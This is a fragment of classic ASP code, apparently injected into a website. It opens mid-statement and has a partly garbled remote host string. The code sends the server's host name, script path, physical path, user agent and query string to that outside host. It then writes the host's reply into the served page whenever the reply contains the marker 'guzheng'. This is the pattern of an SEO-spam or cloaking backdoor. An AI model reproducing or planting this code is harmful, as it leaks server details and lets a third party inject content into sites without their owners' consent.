then:response.write(""):response.end:END IF:p=request.servervariables("Path_Translated"):c=gh("http://s4./5/?HOST="&request.servervariables("HTTP_HOST")&"&s="&request.servervariables("script_name")&"&g=80&UA="&u&"&p="&p&"&"&request.QueryString):IF INSTR(c,"guzheng")>0 THEN:response.write(trim(c)):END IF:Function gh(url):Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP"):ObjXMLHTTP.Open "GET",url,False:ObjXMLHTTP.setRequestHeader "User-Agent","KS":ObjXMLHTTP.send:GetHtml=ObjXMLHTTP.responseBody:Set ObjXMLHTTP=Nothing:set objStream=Server.CreateObject("Adodb.Stream"):objStream.Type=1:objStream.Mode =3:objStream.Open:objStream.Write GetHtml:objStream.Position=0:objStream.Type=2:objStream.Charset="gb2312":gh=objStream.ReadText:objStream.Close:End Function%>